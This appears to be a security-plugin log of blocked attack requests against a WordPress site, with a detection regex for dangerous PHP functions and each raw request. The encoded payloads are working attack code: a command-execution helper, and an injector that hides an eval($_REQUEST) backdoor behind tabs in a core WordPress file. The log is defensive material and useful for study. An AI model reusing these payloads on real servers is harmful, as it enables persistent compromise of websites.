["2026-05-12 13:34:52","152.228.218.52","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IK:%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvFHfvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\ncontent-length:3337\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-type:application\/x-www-form-urlencoded\naccept:*\/*\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIK=%3C%3Fphp%20%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20"]
["2026-05-12 13:35:13","52.221.129.59","POST","\/wp-includes\/block-patterns\/query-large-title-posts.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> IMAhJp:eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));","POST \/wp-includes\/block-patterns\/query-large-title-posts.php HTTP\/1.1\ncontent-type:application\/x-www-form-urlencoded\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\ncontent-length:3360\nsec-fetch-user:?1\nsec-fetch-site:none\nsec-fetch-dest:document\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-mode:navigate\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-ch-ua-mobile:?0\naccept:*\/*\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nIMAhJp=eval(rawurldecode(\"%20%20%24files%20%3D%20%5B%27search_synonyms%27%2C%27thumbs_img%27%2C%27default_map%27%2C%27class.note%27%2C%27ebank_ok%27%2C%27wp_posts.class%27%2C%27coursereport_log%27%2C%27function.search%27%2C%27xoopstopic%27%2C%27loggedout%27%2C%27usergroup_4%27%2C%27proj_details_new%27%2C%27whos_online%27%2C%27rate_accept05%27%2C%27view.feed%27%2C%27ckeditor_php4%27%2C%27CreateFolder%27%2C%27AlphaValue%27%2C%27com_forum%27%2C%27captcha.class%27%2C%27sqlparser.data%27%2C%27formselect%27%2C%27block_mnet_hosts%27%2C%27source2doc%27%2C%27com_mtree%27%2C%27webdb_addtable_1%27%2C%27publicphoto%27%2C%27templateads%27%2C%27articles_latest%27%2C%272colsinline%27%5D%3B%20foreach%20%28%24files%20as%20%24f%29%20%7B%20%20%20%20%20%24res%20%3D%20%40run%28%22pgrep%20%7B%24f%7D%22%29%3B%20%20%20%20%20if%20%28%21preg_match%28%27\/%5Cd%2B\/%27%2C%20%24res%29%29%20%7B%20%20%20%20%20%20%20%20%20die%28%22%3Cf%3E%7B%24f%7D%3C\/f%3E%22%29%3B%20%20%20%20%20%7D%20%7D%20die%28%27%21ended%21%27%29%3B%20%20function%20run%28%24in%29%20%7B%20%20%20%20%20%24out%20%3D%20%27%27%3B%20%20%20%20%20if%20%28function_exists%28%27exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%40exec%28%24in%2C%20%24out%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%40join%28%22%5Cn%22%2C%20%24out%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27passthru%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40passthru%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27system%27%29%29%20%7B%20%20%20%20%20%20%20%20%20ob_start%28%29%3B%20%20%20%20%20%20%20%20%20%40system%28%24in%29%3B%20%20%20%20%20%20%20%20%20%24out%20%3D%20ob_get_clean%28%29%3B%20%20%20%20%20%7D%20elseif%20%28function_exists%28%27shell_exec%27%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20shell_exec%28%24in%29%3B%20%20%20%20%20%7D%20elseif%20%28is_resource%28%24f%20%3D%20%40popen%28%24in%2C%20%22r%22%29%29%29%20%7B%20%20%20%20%20%20%20%20%20%24out%20%3D%20%22%22%3B%20%20%20%20%20%20%20%20%20while%20%28%21%40feof%28%24f%29%29%20%20%20%20%20%20%20%20%20%20%20%20%20%24out%20.%3D%20fread%28%24f%2C%201024%29%3B%20%20%20%20%20%20%20%20%20pclose%28%24f%29%3B%20%20%20%20%20%7D%20%20%20%20%20return%20%24out%3B%20%7D%20\"));"]
["2026-05-12 13:38:44","54.36.177.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> RF:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\"Chromium\";v=\"104\", \" Not A;Brand\";v=\"99\", \"Google Chrome\";v=\"104\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2062\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/104.0.0.0 Safari\/537.36\nsec-fetch-site:none\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHxLvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2fvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\n\nRF=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:39:02","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GC:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\ncontent-length:2062\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\nsec-fetch-site:none\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE0ZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAyoaEypvV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-fetch-mode:navigate\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-user:?1\n\nGC=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:39:07","172.86.89.164","POST","\/","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Pd:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/sodium_compat\/namespaced\/Core\/BLAKE2b.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527TamKVI%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nupgrade-insecure-requests:1\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\nsec-ch-ua-mobile:?1\nsec-ch-ua-platform:\"Android\"\ncontent-length:2062\nuser-agent:Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36\nsec-fetch-site:none\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvHTDvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 